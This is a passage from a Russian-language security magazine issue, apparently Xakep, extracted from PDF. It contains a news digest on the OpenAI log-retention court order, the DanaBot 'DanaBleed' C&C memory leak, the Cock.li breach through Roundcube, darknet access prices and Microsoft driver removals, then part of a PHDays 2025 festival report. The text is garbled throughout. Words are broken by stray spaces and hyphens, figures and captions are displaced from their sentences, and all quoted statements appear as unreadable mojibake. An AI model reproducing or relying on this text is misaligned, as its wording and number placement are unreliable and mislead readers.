яснил, что пос танов ление суда было вынесе но по иску The New York Times
и дру гих новос тных орга низа ций. Истцы утвер жда ют, что уда лен ные беседы
с чат-ботом могут содер жать доказа тель ства того, что поль зовате ли побуж -
дали ChatGPT генери ровать тек сты, в которых мог ли вос про изво дить ся фраг -
менты ста тей, защищен ных автор ским пра вом (нап ример, матери алы новос -
тных изда ний).

Де ло в том, что, по заяв лени ям истцов, OpenAI неп равомер но исполь -
зовала их матери алы для обу чения сво их моделей. В ито ге модели могут
генери ровать очень близ кие к ори гина лу тек сты и выдавать целые отрывки
из защищен ных автор ским пра вом пуб ликаций.

Ре шение суда о сох ранении логов было вынесе но пос ле того, как новос -
тные орга низа ции вырази ли обес поко енность тем, что люди, исполь зующие
ChatGPT для обхо да плат ного дос тупа, могут быть напуга ны ходом раз -
биратель ства и «уда лят все свои поис ковые зап росы и пром пты, что бы
замес ти сле ды».

Что бы выпол нить судеб ное пред писание, OpenAI обя зана «хра нить весь
поль зователь ский кон тент в течение неоп ределен ного пери ода вре мени»,
осно выва ясь на пред положе нии, что истцы могут най ти в логах «что-то, под -
твержда ющее их доводы», объ ясня ют в ком пании.

Пос танов ление зат рагива ет все чаты поль зовате лей ChatGPT Free, Plus
и Pro, а так же поль зовате лей API OpenAI. При этом под черки вает ся, что пос -
танов ление не каса ется кли ентов ChatGPT Enterprise или ChatGPT Edu, а так -
же всех, кто зак лючил сог лашение Zero Data Retention (по сути, спе циаль ный
режим работы с API ком пании, при котором дан ные поль зовате ля вооб ще
не сох раня ются и не исполь зуют ся ни для ана лиза, ни для обу чения моделей).

В OpenAI сооб щают, что уже подали ходатай ство о при оста нов лении
исполне ния пос танов ления. Одна ко в нас тоящее вре мя ком пания вынуж дена
отсту пить от «дав но усто явшихся норм кон фиден циаль нос ти» и осла бить пра -
вила, на которые опи рают ся поль зовате ли в соот ветс твии с усло виями пре -
дос тавле ния услуг ChatGPT.

Кро ме того, в заяв лении ком пании отме чает ся, что теперь OpenAI не уве -
рена в том, что смо жет соб люсти стро гий закон ЕС о защите дан ных —
General Data Protection Regulation (GDPR), который пре дос тавля ет поль -
зовате лям « ».пра во на заб вение

«
»

Ìû òâåð äî óáåæ äåíû, ÷òî The New York Times âûõîäèò çà ðàì êè, —
çàÿâ ëÿåò Ëàé òêýï. — Ìû áóäåì ðàáîòàòü íàä îáæà ëîâà íèåì ýòî ãî ïîñ -
òàíîâ ëåíèÿ, ÷òî áû è äàëü øå ñòà âèòü âàøå äîâåðèå è êîí ôèäåí öèàëü -
íîñòü íà ïåð âîå ìåñ òî.

К сво ему заяв лению OpenAI при ложи ла FAQ, в котором объ ясня ет, какие
имен но дан ные поль зовате лей ком пания хра нит и как они могут быть рас кры -
ты. Нап ример, как уже отме чалось выше, пос танов ление не зат рагива ет биз -
нес-кли ентов OpenAI API и поль зовате лей, зак лючив ших сог лашения Zero
Data Retention, пос коль ку их дан ные не сох раня ются вооб ще.

Что каса ется всех осталь ных, OpenAI заяв ляет, что дос туп к уда лен ным
чатам поль зовате лей дей стви тель но может быть получен, одна ко они «не
будут авто мати чес ки переда ны The New York Times». Вмес то это го дан ные
будут «хра нить ся в отдель ной защищен ной сис теме», и к ним нель зя будет
получить дос туп или исполь зовать в иных целях, кро ме выпол нения юри -
дичес ких обя затель ств.

В ком пании успо каивают поль зовате лей, под черки вая, что «толь ко
неболь шая, про верен ная коман да юрис тов и сот рудни ков служ бы безопас -
ности OpenAI смо жет получить дос туп к этим дан ным, если это будет необ -
ходимо для выпол нения наших юри дичес ких обя затель ств».

 МАТЕРИАЛА НЕ УДАЛИЛА WIKIPEDIA232

В Рос комнад зоре сооб щили, что Wikimedia Foundation, которой при над лежит Wikipedia, не уда -
лила  про тивоп равных матери ала,  из которых содер жат фей ки о ходе спе циаль ной
воен ной опе рации.

232 133

В ведомс тве заяв ляют, что в дос тупе оста ются матери алы экс тре мист ской и тер рорис тичес кой
нап равлен ности, информа ция о вов лечении несовер шенно лет них в совер шение про тивоп -
равных дей ствий (руфинг, зацепинг), статьи об изго тов лении взрыв чатых веществ, суици даль -
ный, про нар котичес кий и иной зап рещен ный кон тент.

Wikimedia Foundation уже неод нократ но прив лекалась к адми нис тра тив ной ответс твен ности
в РФ за неуда ление кон тента. Так, в 2024 году суды наз начили в отно шении ком пании штра фы
на общую сум му  руб лей, в 2025 году сум ма штра фов сос тавила 
руб лей.

9 мил лионов 3,5 мил лиона
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ОШИБКА БОТНЕТА
DANABOT
Эк спер ты рас ска зали об уяз вимос ти в DanaBot, которая появи лась в коде
мал вари еще в июне 2022 года. Этот баг поз волил иссле дова телям выявить
опе рато ров DanaBot, предъ явить им обви нения, а так же нарушить работу
бот нета в мае 2025 года.

Бот нет DanaBot  еще в 2018 году. Изна чаль но вре донос был
нацелен на Укра ину, Поль шу, Авс трию, Ита лию, Гер манию и Авс тра лию,
но вско ре рас ширил ся и на Север ную Аме рику.

по явил ся

Он рас простра нял ся по модели MaaS (malware-as-a-service, «мал варь
как услу га») и сна чала был бан ков ским тро яном, поз воляв шим похищать кон -
фиден циаль ные дан ные из заражен ных сис тем. Одна ко поз же он 

 в плат форму рас простра нения и заг рузчик для дру гих семей ств вре донос -
ных прог рамм, вклю чая вымога тель ское ПО.

прев ратил -
ся

Кро ме того, поз же адми нис тра торы DanaBot соз дали вто рую вер сию сво -
его бот нета для кибер шпи она жа, нацелен ную на воен ные, дип ломати чес кие
и пра витель ствен ные орга низа ции в Север ной Аме рике и стра нах Евро пы.

Спе циалис ты ком пании Zscaler, обна ружив шие в коде мал вари уяз -
вимость, которая получи ла наз вание DanaBleed, объ ясня ют, что эта утеч ка
памяти поз воляла про ник нуть во внут ренние опе рации зло умыш ленни ков
и узнать, кто за ними сто ит.

Бла года ря уяз вимос ти была соб рана цен ная информа ция о кибер прес -
тупни ках, что поз волило пра воох ранитель ным орга нам про вес ти 

 и вывес ти инфраструк туру DanaBot из строя, а так же выдать
орде ра на арест шес тнад цати граж дан Рос сии, которые яко бы свя заны
с активностью мал вари.

опе рацию
«Энд шпиль»

По сло вам спе циалис тов, проб лема DanaBleed появи лась в коде вре доно -
са в июне 2022 года, в вер сии 2380, куда был добав лен новый C&C-про токол.
Ошиб ка в логике нового про токо ла ока залась свя зана с механиз мом генера -
ции отве тов сер вера кли ентам. Так, сер вер дол жен был вклю чать в отве ты
слу чай но сге нери рован ные бай ты (padding bytes), одна ко не ини циали зиро -
вал для них недав но выделен ную память.

В ито ге иссле дова тели Zscaler смог ли соб рать и про ана лизи ровать боль -
шое количес тво C&C-отве тов, которые из-за бага содер жали фраг менты дан -
ных из памяти сер вера. Проб лема получи ла наз вание DanaBleed, так
как напоми нала уяз вимость , обна ружен ную в 2014 году и зат -
ронув шую OpenSSL.

HeartBleed

С помощью DanaBleed иссле дова тели соб рали широкий спектр дан ных,
вклю чая:

информа цию об учас тни ках груп пиров ки (име на поль зовате лей, IP-адре -
са);

•

дан ные о бэкенд-инфраструк туре (IP-адре са, домены управля ющих сер -
веров);

•

дан ные о жер твах (IP-адре са, учет ные дан ные, похищен ная информа ция);•
логи вне сен ных в мал варь изме нений;•
при ват ные крип тогра фичес кие клю чи;•
SQL-зап росы и жур налы отладки;•
фраг менты HTML и веб-интерфей са панели управле ния C&C.•

Бо лее трех лет DanaBot оста вал ся уяз вимым, а раз работ чики и кли енты мал -
вари даже не подоз ревали, что все это вре мя за ними вни матель но наб люда -
ют ИБ-спе циалис ты.

Пос ле опе рации «Энд шпиль» подоз рева емым были предъ явле ны лишь
заоч ные обви нения, и арес тов не пос ледова ло. Иссле дова тели полага ют, что
кон фиска ция сер веров, 2650 доменов и поч ти 4 мил лионов дол ларов в крип -
товалю те поз волит вре мен но ней тра лизо вать угро зу. Одна ко не исклю чает ся,
что в будущем DanaBot вновь вер нется в строй и возоб новит активность.

СКОЛЬКО СТОЯТ ДАННЫЕ
Спе циалис ты ком пании F6 пред ста вили резуль таты иссле дова ния дар кне та, про ана лизи ровав
кри миналь ные сдел ки по про даже дос тупа к кор поратив ным сетям, БД и вре донос ных прог -
рамм.

Де шев ле все го на хакер ских форумах сто ят учет ные записи — в сред нем от 
за шту ку.

10  дол ларов

До роже все го обхо дят ся дос тупы в пар тнерские прог раммы вымога телей — до 
, а так же 0-day-уяз вимос ти, цена которых доходит до .

100  тысяч
дол ларов 250 тысяч дол ларов

Кро ме того, вос тре бован ными у зло умыш ленни ков ока зались дос тупы к кор поратив ным сетям.
Их сто имость начина ется от , но может доходить до 
в зависи мос ти от мас шта ба орга низа ции, отрасли и уров ня дос тупа.

100–200 дол ларов 10 тысяч дол ларов

АТАКА НА COCK.LI
Поч товый хос тинг-про вай дер Cock.li пос тра дал от утеч ки дан ных. Хакеры вос -
поль зовались уяз вимос тями в Roundcube Webmail и похити ли более мил -
лиона поль зователь ских записей.

Ин цидент зат ронул всех поль зовате лей, которые заходи ли в поч товый
сер вис с 2016 года (сог ласно под сче там, это 1 023 800 человек). Так же были
рас кры ты кон так тные дан ные еще 93 тысяч поль зовате лей.

Cock.li — это рас положен ный в Гер мании бес плат ный поч товый хос -
тинг-про вай дер, ори енти рован ный на кон фиден циаль ность. Сер вис сущес -
тву ет с 2013 года, и им управля ет единс твен ный адми нис тра тор, извес тный
под псев донимом Вин сент Кен филд (Vincent Caneld). Сер вис рек ламиру ется
как аль тер натива обыч ным поч товым про вай дерам и под держи вает стан дар -
тные про токо лы, вклю чая SMTP, IMAP и TLS.

В основном Cock.li исполь зуют люди, которые не доверя ют круп ным про -
вай дерам, а так же чле ны ИБ- и опен сорс-сооб ществ. Кро ме того, сер вис
весь ма популя рен сре ди кибер прес тупни ков, нап ример свя зан ных с вымога -
тель ски ми груп пиров ками Dharma и Phobos.

В прош лом у плат формы уже воз никали юри дичес кие проб лемы:
в 2015 году немец кие пра воох раните ли  и жес ткие дис -
ки Cock.li пос ле того, как неиз вес тный разос лал в учеб ные учрежде ния США
пись ма с лож ным сооб щени ем о заложен ной бом бе.

кон фиско вали сер вер

Те перь же работа Cock.li неожи дан но прер валась в начале июня,
и какое-то вре мя поль зовате ли мог ли толь ко гадать, что про изош ло.

Од нако вско ре на хак форуме XSS появи лось сооб щение от зло умыш -
ленни ка, который заявил, что про дает две базы дан ных с дам пом Cock.li,
содер жащие кон фиден циаль ную информа цию о поль зовате лях. Хакер оце нил
дамп как минимум в один бит коин (око ло 104 тысяч дол ларов по кур су
на момент раз мещения пос та).

Лишь нес коль ко дней спус тя на сай те Cock.li было опуб ликова но офи циаль -
ное заяв ление, под твержда ющее факт взло ма. Выяс нилось, что хакерам дей -
стви тель но уда лось похитить информа цию для 1 023 800 учет ных записей,
вклю чая:

адре са элек трон ной поч ты;•
вре мен ные мет ки пер вого и пос ледне го вхо да в сис тему;•
дан ные о неудач ных попыт ках вхо да и их количес тве;•
язы ковые нас трой ки;•
сери али зован ный блоб нас тро ек Roundcube и email-под пись;•
име на кон тактов (толь ко для 10 400 акка унтов);•
email-адре са кон тактов (толь ко для 10 400 акка унтов);•
vCards (толь ко для 10 400 акка унтов);•
ком мента рии (толь ко для 10 400 акка унтов).•

В заяв лении под черки валось, что пароли поль зовате лей, содер жимое писем
и IP-адре са не были ском про мети рова ны, пос коль ку их не было в укра ден ных
БД. Так же сооб щалось, что 10 400 поль зовате лей, у которых похити ли кон так -
тную информа цию треть их лиц, получат отдель ные уве дом ления.

В ито ге всем, кто поль зовал ся сер висом с 2016 года, рекомен дует ся
как мож но ско рее сбро сить пароли для сво их учет ных записей.

В Cock.li полага ют, что дан ные были укра дены с помощью ста рой уяз -
вимос ти SQL-инъ екций в Roundcube Webmail ( ). При этом
незадол го до взло ма пред ста вите ли сер виса изу чали более све жую RCE-уяз -
вимость в Roundcube ( ), которая уже при меня ется в ата ках.
По резуль татам это го ана лиза, в июне 2025 года Roundcube был пол ностью
уда лен с плат формы.

CVE-2021-44026

CVE-2025-49113

«
»

Cock.li áîëü øå íå áóäåò ïðåä ëàãàòü ïîëü çîâàòå ëÿì Roundcube
Webmail, — ïèøóò ïðåä ñòà âèòå ëè ñåð âèñà. — Íåâàæ íî, áûëà ëè íàøà
âåð ñèÿ óÿç âèìà, ìû óçíà ëè î Roundcube äîñ òàòî÷ íî, ÷òî áû íàâ ñåãäà
îò íåãî îòêà çàòü ñÿ. Ìû îïðå äåëåí íî ðàñ ñìàò ðèâà åì âîç ìîæíîñòü
èñïîëü çîâàíèÿ äðó ãîé âåá-ïî÷ òû, íî ýòî íå ÿâëÿ åòñÿ ïðè îðè òåò íîé
çàäà÷åé.

В офи циаль ном сооб щении упо мина лось, что более эффектив ные методы
обес печения безопас ности мог ли бы пре дот вра тить взлом и утеч ку поль -
зователь ских дан ных. Так же пред ста вите ли сер виса приз нали, что «Cock.li
вооб ще не сто ило исполь зовать Roundcube».

Те перь ИБ-спе циалис ты полага ют, что эта утеч ка может ока зать ся цен ным
матери алом для иссле дова телей и пра воох ранитель ных орга нов. Дело в том,
что рас кры тая информа ция может помочь получить допол нитель ные дан ные
о зло умыш ленни ках, исполь зующих эту плат форму.

80% МЕДИЦИНСКИХ ОРГАНИЗАЦИЙ УЯЗВИМЫ
ДЛЯ ХАКЕРОВ
По дан ным «Инфор мза щиты»,  рос сий ских орга низа ций, работа ющих в сфе ре здра воох -
ранения, име ют кри тичес кие уяз вимос ти в ИТ-инфраструк туре. То есть подав ляющее боль -
шинс тво кли ник и медуч режде ний уяз вимы перед кибера така ми.

83%

Та кая ситу ация скла дыва ется из-за , 
, а так же  и уста рев ших сис тем.

не дооцен ки рис ков нех ватки денег и  спе циалис -
тов ис поль зования ста рого обо рудо вания

На информа цион ную безопас ность тра тит ся лишь  бюд жета медуч режде ний.5–10%

С начала 2025 года  медор ганиза ций стол кну лись с ата ками (чаще все го — с фишин гом
и шиф роваль щиками). У  орга низа ции под угро зой ока зались дан ные
паци ентов: диаг нозы, пла ны лечения и про чая кон фиден циаль ная информа ция.

76%
каж дой чет вертой

ОТКАЗ
ОТ УСТАРЕВШИХ
ДРАЙВЕРОВ
Ком пания Microsoft объ яви ла, что будет пери оди чес ки уда лять уста рев шие
драй веры из катало га Windows Update, что бы сни зить рис ки и улуч шить сов -
мести мость.

«

»

Öåëüþ ýòîé èíè öèàòè âû ÿâëÿ åòñÿ ïðå äîñ òàâëå íèå îïòè ìàëü íîãî
íàáîðà äðàé âåðîâ â Windows Update äëÿ ðàç ëè÷íûõ àïïà ðàò íûõ
ðåøåíèé â ýêî ñèñ òåìå Windows, à òàê æå îáåñ ïå÷åíèå áåçîïàñ íîñòè
Microsoft Windows, — ãëà ñèò ñîîá ùåíèå êîì ïàíèè. — Ýòà èíè öèàòè âà
ïðåä ïîëàãà åò ïåðè îäè ÷åñ êóþ î÷èñ òêó äðàé âåðîâ â Windows Update,
â ðåçóëü òàòå ÷åãî íåêîòî ðûå äðàé âåðû íå áóäóò ïðå äîñ òàâëÿòü ñÿ ñèñ -
òåìàì â íàøåé ýêî ñèñ òåìå.

Как уточ нили в ком пании, пер вый этап про цеду ры «очис тки» зат ронет драй -
веры, для которых в Windows Update уже име ются более новые аль тер нативы.

Под «очис ткой» понима ется уда ление при вяз ки драй веров с истекшим
сро ком дей ствия к ауди тори ям в Windows Update, в резуль тате чего они
не будут пред лагать ся ни одной сис теме под управле нием Windows.
Это будет реали зова но путем уда ления соот ветс тву ющих наз начений ауди -
торий ста рых драй веров в Hardware Development Center.

Так же сооб щает ся, что в будущем Microsoft рас ширит перечень катего рий,
которые могут быть исклю чены из Windows Update ради повыше ния безопас -
ности. Отме чает ся, что при этом пар тне ры по-преж нему смо гут пов торно пуб -
ликовать драй веры, уда лен ные Microsoft, если пре дос тавят для это го биз -
нес-обос нование.

«

»

Óäà ëåíèå óñòà ðåâ øèõ äðàé âåðîâ èç Windows Update — ýòî ïðî -
àêòèâíàÿ ìåðà êîì ïàíèè Microsoft, íàï ðàâëåí íàÿ íà îáåñ ïå÷åíèå
áåçîïàñ íîñòè è ïîâûøå íèå êà÷åñ òâà äðàé âåðîâ äëÿ ïîëü çîâàòå ëåé
Windows, — äîáàâ ëÿþò ðàç ðàáîò ÷èêè. — Â äàëü íåéøåì ñëå äóåò îæè -
äàòü, ÷òî î÷èñ òêà ñòà íåò îáû÷ íîé ïðàê òèêîé, à òàê æå áóäóò ââå äåíû
íîâûå ðåêîìåí äàöèè ïî ïóá ëèêàöèè, êîòîðûå ïîìîãóò âñåì ïîëü -
çîâàòå ëÿì Windows ïîä äåðæè âàòü ñâîè ñèñ òåìû â áåçîïàñ íîì
è íàäåæ íîì ñîñ òîÿíèè.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Пра воох раните ли зак рыли сер вис для про вер ки мал вари AVCheck

Тро ян про ник в npm-пакеты, которые еже недель но заг ружа ют более мил лиона раз

Рас ширения для Chrome рас кры вают клю чи API и содер жат учет ные дан ные

Crocodilus добав ляет фаль шивые кон такты на взло ман ные устрой ства

Ум ные часы могут извле кать дан ные с изо лиро ван ных машин

Влас ти РФ рас смат рива ют зап рет на авто риза цию через инос тран ные email

Linux Foundation запус кает децен тра лизо ван ный менед жер пла гинов для WordPress

Кон фиско ваны домены кар дер ско го мар кет плей са BidenCash

Че тыре учас тни ка груп пы REvil выш ли на сво боду

В палате пред ста вите лей США зап ретили исполь зовать WhatsApp

https://www.proofpoint.com/us/threat-insight/post/danabot-new-banking-trojan-surfaces-down-under-0
https://xakep.ru/2018/12/07/danabot-spam/
https://xakep.ru/2018/12/07/danabot-spam/
https://xakep.ru/2025/05/26/danabot-endgame/
https://xakep.ru/2025/05/26/danabot-endgame/
https://xakep.ru/2014/04/08/62324/
https://xakep.ru/2015/12/23/cock-li/
https://nvd.nist.gov/vuln/detail/CVE-2021-44026
https://xakep.ru/2025/06/06/roundcube-exploit/
https://xakep.ru/2025/06/02/avcheck-down/
https://xakep.ru/2025/06/10/gluestack-npm/
https://xakep.ru/2025/06/06/chrome-extensions-problems/
https://xakep.ru/2025/06/04/new-crocodilus/
https://xakep.ru/2025/06/16/smartattack/
https://xakep.ru/2025/06/06/russian-emails/
https://xakep.ru/2025/06/11/fair-package-manager/
https://xakep.ru/2025/06/05/bidencash-domains-seized/
https://xakep.ru/2025/06/25/revil-court-verdict/
https://xakep.ru/2025/06/25/whatsapp-ban/
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Мос ква, 22–24 мая 2025 года, СК «Луж -
ники», откры тая и зак рытая зоны, Standoff
15. Та же локация вто рой год под ряд, куча
активнос тей, изма тыва ющая жара, сот ни
док ладов и десят ки тысяч прой ден ных
шагов. Уже понял, о чем речь? Все вер но,
сей час будем пог ружать ся в мир кибер -
безопас ности и вспо минать, как про шел
оче ред ной Positive Hack Days Fest!

ÈÍÒÐÎ

Про исхо дящее в СК «Луж ники», как и в прош лые годы, было раз делено на две
основные зоны: откры тую и зак рытую. Суть откры той — раз вле катель ной —
зоны в том, что дос таточ но прой ти на тер риторию СК и выбирать любое
из мно жес тва раз вле чений. Дос туп в зак рытую — про фес сиональ ную — зону
обес печива ли спе циаль ные бей джи, и эта зона ори енти рова на боль ше
на спе циалис тов сфе ры инфо беза, пред ста вите лей орга нов влас ти, СМИ
и биз нес.

Тра дици онный дефейс бей джа

Ник то на про ходах не лютовал, и прос кочить в зак рытую зону фес тиваля иног -
да мож но было без бей джа вооб ще или налутав отдель ный бей дж Positive
Hack Media. Впро чем, в чем тут азарт, я не впол не понимаю: билет сто ит
недоро го, а выручен ные с про дажи день ги идут на бла гот воритель ность. Тем
не менее некото рые все же пыта ются ходить вде сяте ром по одно му бей -
джу — воз можно, дань какой-то тра диции.

Прог рамма фес тиваля: день , 
и .

пер вый вто рой
тре тий

ÎÒÊÐÛÒÀß ÇÎÍÀ ÔÅÑÒÈÂÀËß

Ин стал ляции и активнос ти начина лись пря мо со вхо да на тер риторию СК

Пер вое, что бро салось в гла за, — это огромное количес тво семей ных пар
с деть ми. И неуди витель но: сот ня шагов от глав ного вхо да на тер риторию
«Луж ников», и посети тели ока зыва лись в окру жении раз ноцвет ных шат ров,
ани мато ров и активнос тей с кон курса ми, обра зующих не что иное,
как обновлен ный «Кибер город» с инте рак тивны ми инстал ляци ями. На боль -
шом экра не все так же вел ся юмо рис тичес кий новос тной репор таж о клю -
чевых событи ях циф рового города. Про хожим, кажет ся, нра вилось.

Ки бер вход кибер поход кой на кибер фести валь

Ос новное дви жение шло по часовой стрел ке, и было вид но, что пер вая часть
тер ритории «Кибер города» однознач но пред назна чалась детям. Обра зова -
тель ные павиль оны и игро вые зоны от име нитых ком паний орга нич но
переме шива лись с раз вле катель ными инстал ляци ями. В каж дой такой
локации были какие-то кон курсы или увле катель ные задач ки — на любой вкус
и выбор.

Де ти. Они были пов сюду

По мере прод вижения от павиль она к павиль ону появ лялось ощу щение, что
в этом году делали боль ший акцент на обра зова нии и на молоде жи в целом.
И вот это ощу щение эхом отзы валось на общем впе чат лении о нынеш нем
PHDays. Форум, где ребята в худи и гос пода в пид жаках встре чают ся, что бы
обсу дить безопас ность, остался в прош лом.

Оче ред ная зона с активнос тями для детей

Од на из самых необыч ных зон «Кибер города» — «Зап ретный лес». Сочета ние
рус ских ска зок, магов-вол шебни ков-гадалок, нас тро ений Дикого Запада
и тех нологий выз вало непод дель ный инте рес. Нас тоящее ска зоч ное безумие.
Прой ти мимо Горыны ча, сидяще го на цепи и отпуска юще го кол кие шуточ ки
в адрес про хожих, как ты понима ешь, было невоз можно.

Вла дения Змея Горыны ча, в которые рекомен довалось не вле зать

Тут же дети мог ли при общить ся к духу кибер панка: покосив ший ся деревян ный
забор и высокие тех нологии как наг лядная иллюс тра ция прин ципа жан ра —
«high tech, low life».

Ре шитель но про игно риро вав мно гочис ленные пре дуп режде ния, я все же
полюбо пытс тво вал, что там внут ри. И внут ри ока зались…

То самое пре дуп режде ние-рекомен дация

Де ти. По моим наб людени ям, они пытались иссле довать все, до чего дотяги -
вались. А где не дотяги вались, там исполь зовали пенек или при бега ли
к помощи родите лей. Кста ти, с тех никой они обра щают ся весь ма уве рен но:
никакой нелов кости и про бук совки «а куда нажимать». В общем, под раста ет
сме на!

Как и в прош лые годы, дети были край не вов лечены в под готов ленные
активнос ти

Что-то в этих сти раль ных машинах отмы валось. Воп росов задавать
не будем

Ани мато ры и в этом году отра баты вали на 200%, увле кая гос тей фес тиваля
исто риями, наход чивостью, артистиз мом и трю ками в общем фор мате эда кой
кибер сказ ки. Дети мес тами буд то про писы вались в зоне работы пон равив -
шихся ани мато ров, явно не торопи лись ухо дить и с нас тро ением подыг -
рывали.

Не повери те, но дети смот рели фут боль ный матч. Кто-то кому-то дал пас
в момент съем ки

Пуб лика кибер фести валя была весь ма раз нооб разной, и ани мато ры лов ко
зав ладева ли вни мани ем не толь ко детей, но и взрос лых и опыт ных иска телей
прик лючений. Я даже при заду мал ся: и в жиз ни ведь кибер мошен ники,
по сути, тоже «увле кают» свою жер тву при думан ной исто рией.

Ки бер мошен ник или кибер барыга — роль безуп речна, как и внеш ний вид

Кста ти, и пуб лика тоже подоб ралась пес трая: пару раз ловил себя на мыс ли,
что не уве рен, ани мато ра встре тил или посети теля. Кста ти, все го на этот раз
фес тиваль посети ло более 150 тысяч гос тей.

Уди витель ный сим биоз необыч ных инстал ляций и ярких нарядов посети -
телей фес тиваля

В общем, дети рубились в нас толь ные игры и решали оче ред ные голово лом -
ки, да и родите ли нет-нет да и ока зыва лись втя нуты ми в игры. Так что со сто -
роны это порой выг лядело как игры целых семей.

Де ти пытались соб рать голово лом ку

Иг ры и веселье — это прек расно, но была и обра зова тель ная прог рамма.
Дети, к при меру, мог ли пос лушать полез ный док лад о спо собах выяв ления
фей ков, с избытком и на годы впе ред сге нери рован ных ней росетя ми. Стро го
говоря, это полез но знать вооб ще всем, а не толь ко детям.

«Что выда ет фейк?» — важ ный воп рос нашего вре мени

Вто рую часть «Кибер города» сос тавля ла зона для сту ден тов, будущих
и нынеш них: Education Hub, «Аллея вузов и ста жиро вок» и «Науч поп-сце на
KULIBIN». Шат ры самых раз ных учеб ных заведе ний при тяги вали тол пы
молоде жи, а бли же к кон цу треть его дня к глав ной сце не ста ли собирать ся
граж дане в ожи дании кон цер тной прог раммы кибер фести валя. В общем,
весь ма ожив ленная локация.

Ша тер МГТУ поль зовал ся повышен ной популяр ностью

Education HUB

Я заг лянул и в зону ком пании Jet. Там ору дова ла целая груп пиров ка про моде -
вушек, раз дающих мороже ное из кор зинок за под писку на канал в Telegram.
Во вто рой полови не дня мож но было заметить, что прак тичес ки все на этом
учас тке спор ткомплек са ходят с мороже ным в руках. Все гени аль ное прос то!

Стенд Jet

Од на из весь ма популяр ных и ярких локаций фес тиваля была пред став лена
«Т-Бан ком». Эда кий футурис тичес кий оазис в город ской пус тыне, да еще и с
раз дачей сувени ров под его кры шей. Спра ва были орга низо ваны зоны отды -
ха, сле ва всег да была боль шая оче редь на подъ ем на вто рой этаж. Локация
неболь шая, но кра сивая и эсте тичес ки при ятная.

Вил ла «Т-Бан ка». Ней рощит

Вто рой этаж велико лепен, но поч ти без люден

Все тусу ются где-то рядом

Ес ли нуж но было более спо кой ное мес то для отды ха, то мес та нап ротив глав -
ной сце ны «Кулибин» для это го отлично под ходили. Со сце ны рас ска зыва ли
о борь бе со всем пло хим ради все го хороше го («Науч поп»). Кто-то под эти
лек ции даже умуд рялся зас нуть, видимо измо тан ный жарой и дви жухой.

Глав ная сце на фес тиваля

Лю ди не столь ко слу шали про кра жу дан ных со сце ны, сколь ко спа ли
и обща лись

Проб лему прош лого года с дефици том пить евой воды в этот раз решили
радикаль но и без ком про мис сов. У всех жела ющих был сво бод ный дос туп
к фон танчи кам, что из-за жары не теряло акту аль нос ти все три дня фес тиваля.
Источни ков воды было дос таточ но, что бы не обра зовы вались оче реди. Прос -
то и удоб но.

Жаж да — нич то

С едой проб лем так же не было: на нес коль ких боль ших локаци ях пред лагали
все, от слад кой выпеч ки до бур геров, лап ши и риса, и все это по весь ма уме -
рен ным ценам.

Впро чем, не все шло иде аль но — я стол кнул ся с тем, что сра зу в нес коль -
ких точ ках по неиз вес тной при чине не работа ли холодиль ники. На жаре они
прев ратились в нас тоящие печи, силь но разог ревая хра нив шиеся в них
напит ки.

Ели и пили мно го. Эти зоны прак тичес ки не пус товали

Продолжение статьи →

https://t.me/fearisbigbusiness
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КАК ПРОШЕЛ КИБЕРФЕСТИВАЛЬ
И ПОЧЕМУ НА НЕМ СТОИЛО БЫТЬ

COVERSTORY  НАЧАЛО СТАТЬИ

Под водя итог, могу ска зать, что раз вле катель ная часть кибер фести валя
со сво ей задачей прек расно спра вилась. Народ был раз вле чен, сыт
и доволен!

ÇÀÊÐÛÒÀß ÇÎÍÀ ÔÅÑÒÈÂÀËß

Про фес сиональ ная зона на фоне уви ден ного до это го прос то жила сво ей
жизнью, буд то вок руг нет ни «Кибер города», ни Горыны ча, ни кибер барыг
с вол шебни ками и гадал ками. По логике вещей так и дол жно быть, но, ког да
пос тоян но переме щаешь ся, «перек лючить ся» успе ваешь не всег да.

Внут ри «Кибера рены» рас кинулась целая сеть (выс тавка) пар тне ров фес -
тиваля и ИТ-ком паний, пре зен тующих свои про дук ты и услу ги. Здесь про исхо -
дящее тоже было раз нооб разным: что бы ты понимал раз брос, ска жу, что
на одном из стен дов про води лось подобие чай ной церемо нии.

На аре не «Ломоно сов», находя щей ся под кры шей «Кибера рены», диалог выс -
тра ива ли меж ду собой име нитые экспер ты из самых раз ных отраслей, пред -
ста вите ли биз неса и полити ки, а в роли модера тора одной встре чи выс тупил
жур налист и телеве дущий Вла димир Поз нер, чему мно гие непод дель но уди -
вились.

Опять говори ли про баг баун ти

Я заг лянул в эту локацию во вре мя встре чи, пос вящен ной баг баун ти,
но чего-то нового для себя не услы шал — так или ина че подоб ная информа -
ция в этой сфе ре зву чит регуляр но, рав но как и прог нозы на обоз римое
будущее. Про исхо дящее на сце не, оче вид но, было рас счи тано в пер вую оче -
редь все же на пред ста вите лей биз неса.

Об щение стро илось в спо кой ном фор мате, мне ниями и экспертным опы -
том делились как наши сооте чес твен ники, так и спе циалис ты из дру гих стран.

«ÊÈÁÅÐÕÀÁ» È STANDOFF 15

В этот раз кибер битва Standoff про ходи ла на тер ритории боль шого кры того
павиль она, рас положен ного особ няком от все го про чего. Внут ри царила зна -
комая мно гим атмосфе ра про тивос тояния «крас ных» и «синих» (коман ды ата -
ки и защиты/рас сле дова ния). Про межу точ ные ито ги схват ки и самые опас ные
ата ки мож но было наб людать на огромном экра не. Парал лель но с этим мож -
но было рас смат ривать макет «Государс тва F», выпол ненный безуп речно
до мель чайших деталей.

Ма кет обновля ется из года в год, при обре тая новые объ екты инфраструк -
туры. На нем отоб ража ются пос ледс твия успешно реали зован ных атак
в режиме реаль ного вре мени. Слож но, зре лищ но, прес тижно.

В этом году была смо дели рова на город ская сре да, логис тика, неф тегазо -
вая область, метал лургия, энер гетика, бан ков ский сек тор и ави ация.

Бо лее под робно про все акту аль ные зоны макета
«Государс тва F» ты можешь почитать по ссыл кам:

, , , 
, , , .

го род ская сре да ло гис тика неф тегаз ме тал -
лургия энер гетика бан ков ский сек тор ави ация

 кибер битвы Standoff 15.Офи циаль ный сайт

Лю бая серь езная ата ка на город ской объ ект момен таль но ожив ляла весь
павиль он: зву ковые эффекты, осве щение, яркая кар тинка на экра не. Эффект
пог ружения обес печен!

Ка кие-то кудес ники реали зова ли ата ку, экран быс тро пок раснел

Зо на с кон курса ми рас полага лась, разуме ется, в «Кибер хабе»: IDS Bypass,
«Взлом Web3», RoboCafe, SEQuest, $natch Hydra, AI CTF, Root of the Hill.

Бы валые учас тни ки PHDays навер няка пом нят часть этих кон курсов, а вот
тра дици онной горячи тель но-любимой «Наливай ки» (aka 2drunk2hack) в этом
